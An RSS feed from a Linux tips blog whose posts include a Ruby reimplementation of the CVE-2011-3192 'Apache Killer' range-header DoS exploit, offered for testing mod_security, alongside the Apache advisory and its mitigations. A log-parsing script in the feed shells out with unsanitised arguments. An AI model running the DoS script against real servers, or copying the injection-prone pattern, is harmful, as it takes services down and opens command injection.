<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Linux and Programming Tips, Tricks, Hacks, Guides, and How-Tos &#187; Linux</title> <atom:link href="http://seanp2k.com/category/linux/feed/" rel="self" type="application/rss+xml" /><link>http://seanp2k.com</link> <description>Linux how to articles and guides, PHP / MySQL / Python / Bash scripting, and music tips, tricks, and hacks</description> <lastBuildDate>Thu, 12 Jan 2012 22:33:41 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.1</generator> <item><title>Parsing Apache logs with Ruby and Awk</title><link>http://seanp2k.com/2011/11/parsing-apache-logs-with-ruby-and-awk/</link> <comments>http://seanp2k.com/2011/11/parsing-apache-logs-with-ruby-and-awk/#comments</comments> <pubDate>Fri, 11 Nov 2011 18:19:05 +0000</pubDate> <dc:creator>sean</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Ruby]]></category> <category><![CDATA[apache]]></category> <category><![CDATA[country code]]></category> <category><![CDATA[parse apache]]></category> <category><![CDATA[ruby]]></category> <category><![CDATA[transfer log]]></category><guid isPermaLink="false">http://seanp2k.com/?p=415</guid> <description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/11/parsing-apache-logs-with-ruby-and-awk/' addthis:title='Parsing Apache logs with Ruby and Awk '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>Find where hits are coming from by parsing the Apache log with Ruby and Awk<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/11/parsing-apache-logs-with-ruby-and-awk/' addthis:title='Parsing Apache logs with Ruby and Awk ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description> <content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/11/parsing-apache-logs-with-ruby-and-awk/' addthis:title='Parsing Apache logs with Ruby and Awk '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>I needed to find out where hits requesting a certain term were coming from, so I hacked this together in about 5 minutes and it did what I needed.  The whole thing could be re-written using awk, but this is somewhat readable.</p><pre class="brush: ruby; title: ; notranslate">
#!/usr/bin/env ruby
ips = Array.new

abort(&quot;Usage: ruby #{$0} [num-lines-to-read] [num-results] [search-term] [file]&quot;) unless ARGV[3]
ips = `tail -#{ARGV[0]} #{ARGV.last}| grep #{ARGV[2]} | awk '{freq[$1]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -#{ARGV[1]}`

ips.each do |ip|
  whois = `whois #{ip.split[1]} |grep -i country`
  puts &quot;#{ip.split[0]} hits for IP: #{ip.split[1]} -&gt; #{whois.split[1]}&quot;
end
</pre><div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/11/parsing-apache-logs-with-ruby-and-awk/' addthis:title='Parsing Apache logs with Ruby and Awk ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded> <wfw:commentRss>http://seanp2k.com/2011/11/parsing-apache-logs-with-ruby-and-awk/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>ls when you cd</title><link>http://seanp2k.com/2011/11/ls-when-you-cd/</link> <comments>http://seanp2k.com/2011/11/ls-when-you-cd/#comments</comments> <pubDate>Wed, 09 Nov 2011 23:06:48 +0000</pubDate> <dc:creator>sean</dc:creator> <category><![CDATA[Bash]]></category> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[bash]]></category> <category><![CDATA[bashrc]]></category> <category><![CDATA[cd]]></category> <category><![CDATA[ls]]></category> <category><![CDATA[ls upon cd]]></category> <category><![CDATA[ls when you cd]]></category><guid isPermaLink="false">http://seanp2k.com/?p=413</guid> <description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/11/ls-when-you-cd/' addthis:title='ls when you cd '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>.bashrc tweak to show a directory listing upon changing directories.<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/11/ls-when-you-cd/' addthis:title='ls when you cd ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description> <content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/11/ls-when-you-cd/' addthis:title='ls when you cd '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>Almost everyone I know types this without thinking anyway, so save your fingers and put this in your .bashrc:</p><pre class="brush: bash; title: ; notranslate">
cdd ()  {
    builtin cd &quot;$*&quot; &amp;&amp; ls -lah
}
alias cd='cdd'
</pre><div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/11/ls-when-you-cd/' addthis:title='ls when you cd ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded> <wfw:commentRss>http://seanp2k.com/2011/11/ls-when-you-cd/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Unix socket support in W3 Total Cache</title><link>http://seanp2k.com/2011/11/unix-socket-support-in-w3-total-cache/</link> <comments>http://seanp2k.com/2011/11/unix-socket-support-in-w3-total-cache/#comments</comments> <pubDate>Fri, 04 Nov 2011 21:20:02 +0000</pubDate> <dc:creator>sean</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Sockets]]></category> <category><![CDATA[Unix Socket]]></category> <category><![CDATA[unix://]]></category> <category><![CDATA[W3 Total Cache]]></category> <category><![CDATA[W3TC]]></category><guid isPermaLink="false">http://seanp2k.com/?p=410</guid> <description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/11/unix-socket-support-in-w3-total-cache/' addthis:title='Unix socket support in W3 Total Cache '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>Patch to enable Unix socket support in the W3 Total Cache plugin.<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/11/unix-socket-support-in-w3-total-cache/' addthis:title='Unix socket support in W3 Total Cache ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description> <content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/11/unix-socket-support-in-w3-total-cache/' addthis:title='Unix socket support in W3 Total Cache '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>We needed to use W3 Total Cache at my company, but we needed it to work with Unix sockets for tighter permissions (while there are ways to get port-per-user restrictions in place, they are varying amounts of hackishness, all the way down to kernel patches).  The simple patch is after the break.<br /> <span id="more-410"></span><br /> Generated using:</p><pre class="brush: bash; title: ; notranslate">diff -ur w3-total-cache.orig/lib/W3/Cache/Memcached.php w3-total-cache/lib/W3/Cache/Memcached.php</pre><pre class="brush: diff; title: ; notranslate">
--- w3-total-cache.orig/lib/W3/Cache/Memcached.php	2011-08-26 01:52:28.000000000 -0400
+++ w3-total-cache/lib/W3/Cache/Memcached.php	2011-11-04 16:47:06.356716709 -0400
@@ -33,7 +33,13 @@

             foreach ((array) $config['servers'] as $server) {
                 list($ip, $port) = explode(':', $server);
-                $this-&gt;_memcache-&gt;addServer(trim($ip), (integer) trim($port), $persistant);
+                $ip = trim($ip);
+                $port = (integer) trim($port);
+                if( @filetype($ip) === 'socket' ) {
+                    $port = 0;
+                    $ip = 'unix://' . $ip;
+                }
+                $this-&gt;_memcache-&gt;addServer($ip, $port, $persistant);
             }
         } else {
             return false;
</pre><div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/11/unix-socket-support-in-w3-total-cache/' addthis:title='Unix socket support in W3 Total Cache ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded> <wfw:commentRss>http://seanp2k.com/2011/11/unix-socket-support-in-w3-total-cache/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>CVE-2011-3192 (&#8220;Apache Killer&#8221;) Exploit in Ruby</title><link>http://seanp2k.com/2011/09/cve-2011-3192-apache-killer-exploit-in-ruby/</link> <comments>http://seanp2k.com/2011/09/cve-2011-3192-apache-killer-exploit-in-ruby/#comments</comments> <pubDate>Fri, 02 Sep 2011 19:04:29 +0000</pubDate> <dc:creator>sean</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Ruby]]></category> <category><![CDATA[apache killer]]></category> <category><![CDATA[apachekiller]]></category> <category><![CDATA[CVE 2011 3192]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[implementation]]></category> <category><![CDATA[modsec]]></category> <category><![CDATA[mod_security]]></category> <category><![CDATA[proof of concept]]></category><guid isPermaLink="false">http://seanp2k.com/?p=378</guid> <description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/09/cve-2011-3192-apache-killer-exploit-in-ruby/' addthis:title='CVE-2011-3192 (&#8220;Apache Killer&#8221;) Exploit in Ruby '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>Sample Ruby code to test protection against the CVE-2011-3192 exploit, also known as "ApacheKiller"<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/09/cve-2011-3192-apache-killer-exploit-in-ruby/' addthis:title='CVE-2011-3192 (&#8220;Apache Killer&#8221;) Exploit in Ruby ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description> <content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/09/cve-2011-3192-apache-killer-exploit-in-ruby/' addthis:title='CVE-2011-3192 (&#8220;Apache Killer&#8221;) Exploit in Ruby '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>Since I manage a metric *explitive*-ton of servers, the <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3192">ApacheKiller vuln</a> needed to get patched.  A good mod_security rule or two can drop requests formed to exploit it (info after the break), but I wanted to make sure that modsec was actually catching these, so I wrote a little Ruby to help me out.  I had to bust out Wireshark to analyse the HTTP HEAD request that the <a href="http://www.exploit-db.com/exploits/17696/">Perl proof-of-concept code</a> was using, but it didn&#8217;t take long to figure out.  I am fine with posting this here since the potential for abuse is low unless someone knows how to implement threading in Ruby, in which case this would be trivial to replicate anyway (plus the perl code already works fine for skript kiddies).</p><p>Notes:<br /> - You need to pass in a valid URI, like http://localhost/ or whatever<br /> - I fixed the number of ranges in the HTTP request because 1300 was too big for one request, and it&#8217;d just cause &#8220;bad request&#8221; errors.<br /> - I fixed the lack of a &#8220;bytes=&#8221; prefix for all the ranges<br /> - I added request-range in addition to just &#8220;range&#8221; to make it compatible with a wider range of httpds</p><p>Happy testing!</p><pre class="brush: ruby; title: ; notranslate">
#!/usr/bin/env ruby

require 'net/http'
require 'uri'

# ensure that we're getting a first argument and that it's a valid URI
abort(&quot;You must specify a hostname as the first argument.&quot;) if ARGV.first.nil?
abort(&quot;Invalid URI&quot;) unless uri = URI.parse(ARGV.first)

# create our request object
req = Net::HTTP::Head.new(uri.request_uri)
http = Net::HTTP.new(uri.host, uri.port)

# set custom headers
# you might need to fiddle with these to get around your default modsec filters
req.delete(&quot;Accept&quot;)
req.delete(&quot;User-Agent&quot;)
#req.add_field(&quot;Pragma&quot;, &quot;no-cache&quot;)
#req.add_field(&quot;connection&quot;, &quot;close&quot;)
req.add_field(&quot;Host&quot;, uri.host)

# optional, add a valid User-Agent by uncommenting the line below.
# req.add_field('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2')

# add the custom range headers to our request object
# we're adding 1300 different ranges with offsets between 1 and 1300 just like the perl PoC

# need to start by saying &quot;range: bytes=&quot;... before we add the rest. Same for request-range
req.add_field(&quot;range&quot;, &quot;bytes=5-0&quot;)
req.add_field(&quot;request-range&quot;, &quot;bytes=5-0&quot;)

500.times do
    req.add_field(&quot;range&quot;, &quot;5-#{Random.rand(0..1300)}&quot;)
    req.add_field(&quot;request-range&quot;, &quot;5-#{Random.rand(0..1300)}&quot;)
end

# get the response by making the request
# TODO: make this block easier to understand
res = http.request(req)

# print out our request and response
puts &quot;Request: #{res.inspect}&quot;
req.each do |key,value|
    puts &quot;#{key}: #{value}&quot;
end
puts &quot;\n&quot;
puts &quot;Response: #{res.inspect}&quot;
res.each do |key,value|
    puts &quot;#{key}: #{value}&quot;
end
</pre><p><span id="more-378"></span></p><pre class="brush: plain; title: ; notranslate">
  Apache HTTPD Security ADVISORY
          ==============================
                    UPDATE 2

Title:       Range header DoS vulnerability Apache HTTPD 1.3/2.x

CVE:         CVE-2011-3192
Last Change: 20110824 1800Z
Date:        20110824 1600Z
Product:     Apache HTTPD Web Server
Versions:    Apache 1.3 all versions, Apache 2 all versions

Description:
============

A denial of service vulnerability has been found in the way the multiple
overlapping ranges are handled by the Apache HTTPD server:

http://seclists.org/fulldisclosure/2011/Aug/175

An attack tool is circulating in the wild. Active use of this tools has
been observed.

The attack can be done remotely and with a modest number of requests can
cause very significant memory and CPU usage on the server.

The default Apache HTTPD installation is vulnerable.

There is currently no patch/new version of Apache HTTPD which fixes this
vulnerability. This advisory will be updated when a long term fix
is available.

A full fix is expected in the next 48 hours.

Background and the 2007 report
==============================

There are two aspects to this vulnerability. One is new, is Apache specific; and
resolved with this server side fix. The other issue is fundamentally a protocol
design issue dating back to 2007 (http://seclists.org/bugtraq/2007/Jan/83). The
contemporary interpretation of the HTTP protocol (currently) requires a server to
return multiple (overlapping) ranges; in the order requested. This means that one
can request a very large range (e.g. from byte 0- to the end) 100's of times
in a single request. Being able to do so is an issue for (propably all) webservers
and currently subject of an IETF discussion to change the protocol:

http://trac.tools.ietf.org/wg/httpbis/trac/ticket/311

Now this advisory is about how Apache its so called internal 'bucket brigades'
deal with serving such &quot;valid&quot; request which internally explode into 100's of
large fetches; and keeping those in memory in an inefficient way.

Mitigation:
============

There are several immediate options to mitigate this issue until a full fix
is available:

1) Use SetEnvIf or mod_rewrite to detect a large number of ranges and then
   either ignore the Range: header or reject the request.

   Option 1: (Apache 2.0.61+ and 2.2)

          # Drop the Range header when more than 5 ranges.
          # CVE-2011-3192
          SetEnvIf Range (,.*?){5,} bad-range=1
          RequestHeader unset Range env=bad-range

          # optional logging.
          CustomLog logs/range-CVE-2011-3192.log common env=bad-range

   Option 2: (Old 2.0 and 1.3)

          # Reject request when more than 5 ranges in the Range: header.
          # CVE-2011-3192
          #
          RewriteEngine on
          RewriteCond %{HTTP:range} !(^bytes=[^,]+(,[^,]+){0,4}$|^$)
          RewriteRule .* - [F]

   The number 5 is arbitrary. Several 10's should not be an issue and may be
   required for sites which for example serve PDFs to very high end eReaders
   or use things such complex http based video streaming.

2) Limit the size of the request field to a few hundred bytes. Note that while
   this keeps the offending Range header short - it may break other headers;
   such as sizeable cookies or security fields.

          LimitRequestFieldSize 200

   Note that as the attack evolves in the field you are likely to have
   to further limit this and/or impose other LimitRequestFields limits.

   See: http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize

3) Use mod_headers to completely dis-allow the use of Range headers:

          RequestHeader unset Range

   Note that this may break certain clients - such as those used for
   e-Readers and progressive/http-streaming video.

4) Deploy a Range header count module as a temporary stopgap measure:

http://people.apache.org/~dirkx/mod_rangecnt.c

   Precompiled binaries for some platforms are available at:

http://people.apache.org/~dirkx/BINARIES.txt

5) Apply any of the current patches under discussion - such as:

http://mail-archives.apache.org/mod_mbox/httpd-dev/201108.mbox/%3cCAAPSnn2PO-d-C4nQt_TES2RRWiZr7urefhTKPWBC1b+K1Dqc7g@mail.gmail.com%3e

OS and Vendor specific information
==================================

Red Hat:    Option 1 cannot be used on Red Hat Enterprise Linux 4.

https://bugzilla.redhat.com/show_bug.cgi?id=732928

NetWare:   Pre compiled binaries available.

mod_security:   Has updated their rule set; see

http://blog.spiderlabs.com/2011/08/mitigation-of-apache-range-header-dos-attack.html

Actions:
========

Apache HTTPD users who are concerned about a DoS attack against their server
should consider implementing any of the above mitigations immediately.

When using a third party attack tool to verify vulnerability - know that most
of the versions in the wild currently check for the presence of mod_deflate;
and will (mis)report that your server is not vulnerable if this module is not
present. This vulnerability is not dependent on presence or absence of
that module.

Planning:
=========

This advisory will be updated when new information, a patch or a new release
is available. A patch or new apache release for Apache 2.0 and 2.2 is expected
in the next 48 hours. Note that, while popular, Apache 1.3 is deprecated.
</pre><div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/09/cve-2011-3192-apache-killer-exploit-in-ruby/' addthis:title='CVE-2011-3192 (&#8220;Apache Killer&#8221;) Exploit in Ruby ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded> <wfw:commentRss>http://seanp2k.com/2011/09/cve-2011-3192-apache-killer-exploit-in-ruby/feed/</wfw:commentRss> <slash:comments>10</slash:comments> </item> <item><title>Customize Firefox Keyboard Shortcuts</title><link>http://seanp2k.com/2011/08/customize-firefox-keyboard-shortcuts/</link> <comments>http://seanp2k.com/2011/08/customize-firefox-keyboard-shortcuts/#comments</comments> <pubDate>Wed, 31 Aug 2011 03:17:27 +0000</pubDate> <dc:creator>sean</dc:creator> <category><![CDATA[Computers]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[custom keybind]]></category> <category><![CDATA[customise keyboard shortcut]]></category> <category><![CDATA[customize firefox]]></category> <category><![CDATA[customize key]]></category> <category><![CDATA[gBrowser]]></category><guid isPermaLink="false">http://seanp2k.com/?p=372</guid> <description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/08/customize-firefox-keyboard-shortcuts/' addthis:title='Customize Firefox Keyboard Shortcuts '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>Customize key bindings in Firefox using the KeyConfig extension and a little XUL magic!<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/08/customize-firefox-keyboard-shortcuts/' addthis:title='Customize Firefox Keyboard Shortcuts ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description> <content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/08/customize-firefox-keyboard-shortcuts/' addthis:title='Customize Firefox Keyboard Shortcuts '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>I&#8217;m a really big fan of CLI software, but sometimes you just need a GUI app, like a web browser (lynx would be <em>so awesome</em> if someone made a real-time image-to-ASCII-art converter plugin&#8230;I&#8217;ll work on that <em>some day</em>).  I spend a lot of time in my gnome terminal (I use the awesome <a href="http://live.gnome.org/GnomeShell">GNOME Shell</a>) and the only keybinds I really <em>need</em> are:</p><ul><li>Alt+Q &#8211; Previous Tab<li>Alt+W &#8211; Next Tab<li>Alt+Shift+Q &#8211; Move Tab Left<li>Alt+Shift+W &#8211; Move Tab Right</ul><p>Using these, I feel every bit as efficient as when I used to use tiling WMs (I used to really like <a href="http://awesome.naquadah.org/">Awesome</a> and <a href="http://wmii.suckless.org/">wmii</a>).  However, Firefox lacks these shortcuts or the ability to customize them, and my fingers eventually got sick of the keyboard yoga required to tab around in Firefox (Ctrl+Tab / Ctrl+Shift+Tab by default).  I knew there must be a better way, and I was right.  The best part is that I didn&#8217;t even have to re-compile FF, which would have been ridiculous, but I&#8217;ve been known to do worse things in the name of making software work exactly like I need it to (one of the greatest parts of FOSS, IMO).</p><p>To pull off this hack, we&#8217;re going to grab the newest version of the <a href="http://keyconfig.petricek.net/">KeyConfig Firefox extension</a>. <a href="https://addons.mozilla.org/en-US/firefox/addon/key-config/">The version on the official Firefox add-ons site</a> is a bit out of date and doesn&#8217;t work with FF6 properly.  You might need to install <a href="https://addons.mozilla.org/en-US/firefox/addon/nightly-tester-tools/">Nightly Tester Tools</a> and do the &#8220;override add-on compatibility&#8221; dance if you find that Firefox won&#8217;t let you install it.</p><p>Once you have that all set and have restarted Firefox, hit Ctrl+Shift+F12 to open up KeyConfig.  We&#8217;re going to add two keys:</p><ol><li>name: Previous Tab, id: xxx_key1_Previous Tab, shortcut: Alt+Q, code:<pre class="brush: plain; title: ; notranslate">
gBrowser.mTabContainer.advanceSelectedTab(-1, true);
</pre></li><li>name: Previous Tab, id: xxx_key1_Next Tab, shortcut: Alt+W, code:<pre class="brush: plain; title: ; notranslate">
gBrowser.mTabContainer.advanceSelectedTab(1, true);
</pre></li><p>Then just apply and let dry. Try holding Alt and using &#8220;Q&#8221; or &#8220;W&#8221; to cycle through your tabs now!  Amazing!</p><p>If you want to mess with some different keys, you&#8217;ll probably want to dig through the latest browser2xul document and figure out what the actual code you need to pass to Firefox would be. <a href="http://blog-imgs-32-origin.fc2.com/u/f/r/ufreyr/browser2xul.txt">Here is the one that I struck gold with</a>.  YMMV, and happy hacking!</p><div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/08/customize-firefox-keyboard-shortcuts/' addthis:title='Customize Firefox Keyboard Shortcuts ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded> <wfw:commentRss>http://seanp2k.com/2011/08/customize-firefox-keyboard-shortcuts/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Download pfSense XML configuration with a cURL one-liner</title><link>http://seanp2k.com/2011/08/download-pfsense-xml-configuration-with-a-curl-one-liner/</link> <comments>http://seanp2k.com/2011/08/download-pfsense-xml-configuration-with-a-curl-one-liner/#comments</comments> <pubDate>Thu, 25 Aug 2011 23:45:58 +0000</pubDate> <dc:creator>sean</dc:creator> <category><![CDATA[Bash]]></category> <category><![CDATA[Code]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[config backup]]></category> <category><![CDATA[curl]]></category> <category><![CDATA[curl post]]></category> <category><![CDATA[pfsense]]></category> <category><![CDATA[xml configuration]]></category><guid isPermaLink="false">http://seanp2k.com/?p=364</guid> <description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/08/download-pfsense-xml-configuration-with-a-curl-one-liner/' addthis:title='Download pfSense XML configuration with a cURL one-liner '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>Back up your pfSense configuration with one cURL command<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/08/download-pfsense-xml-configuration-with-a-curl-one-liner/' addthis:title='Download pfSense XML configuration with a cURL one-liner ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description> <content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/08/download-pfsense-xml-configuration-with-a-curl-one-liner/' addthis:title='Download pfSense XML configuration with a cURL one-liner '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>I really love pfSense (freebsd-based firewall distribution) for home and office routers.  It takes whatever dusty old x86 box you have (pentium 3 or newer usually works fine [bonus points if you're using a nice Intel server NIC]) and turns it into a great router / gateway box.</p><p>We use pfSense at work, and I use it at home, as well as at my parents&#8217; house.  I run mine on a HP thin client with a PCI-E slot holding a nice two-port Intel Pro 1000MT card, and my dad gets an older thin client with just a PCI secondary NIC (which works great).  These thin clients are available on eBay for usually less than $50.  The HP I&#8217;m running was really a steal and I could upgrade it from a mobile chip to a real AMD Athlon if I wanted, but it&#8217;s fast enough as it is. (also, @sullrich , the lead developer for pfSense, is a great guy.)</p><p>Anyway, the hack I wanted to share today concerns automated backup lovers.  I was originally planning on using the rubygem Watir to do this, but that&#8217;s totally overkill to just press a button on a page and save a file.<br /> Without further ado, here is how to download the configuration from your pfsense box, assuming your pfsense box is at 10.0.0.1:</p><p>curl -d &#8220;Submit=Download%20configuration&#8221; &#8211;insecure https://admin:YOUR_ADMIN_PASS_HERE_SMART_GUY@10.0.0.1/diag_backup.php > &#8220;my_awesome_pfSense_config_and_the_$(date)_probably.xml&#8221;</p><div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/08/download-pfsense-xml-configuration-with-a-curl-one-liner/' addthis:title='Download pfSense XML configuration with a cURL one-liner ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded> <wfw:commentRss>http://seanp2k.com/2011/08/download-pfsense-xml-configuration-with-a-curl-one-liner/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>clispell, the CLI spell checker and dictionary you&#8217;ve always wanted</title><link>http://seanp2k.com/2011/08/clispell-the-cli-spell-checker-and-dictionary-youve-always-wanted/</link> <comments>http://seanp2k.com/2011/08/clispell-the-cli-spell-checker-and-dictionary-youve-always-wanted/#comments</comments> <pubDate>Tue, 02 Aug 2011 02:37:16 +0000</pubDate> <dc:creator>sean</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Ruby]]></category> <category><![CDATA[aspell]]></category> <category><![CDATA[cli spell check]]></category> <category><![CDATA[clipboard]]></category> <category><![CDATA[clipboard contents]]></category> <category><![CDATA[clispell]]></category> <category><![CDATA[dictionary API]]></category> <category><![CDATA[linux terminal spell check]]></category> <category><![CDATA[OALD API]]></category> <category><![CDATA[Oxford API]]></category> <category><![CDATA[ruby]]></category> <category><![CDATA[set clipboard]]></category><guid isPermaLink="false">http://seanp2k.com/?p=359</guid> <description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://seanp2k.com/2011/08/clispell-the-cli-spell-checker-and-dictionary-youve-always-wanted/' addthis:title='clispell, the CLI spell checker and dictionary you&#8217;ve always wanted '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>A small Ruby utility to check the spelling of a word and define it from the terminal.<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://seanp2k.com/2011/08/clispell-the-cli-spell-checker-and-dictionary-youve-always-wanted/' addthis:title='clispell, the CLI spell checker and dictionary you&#8217;ve always wanted ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a 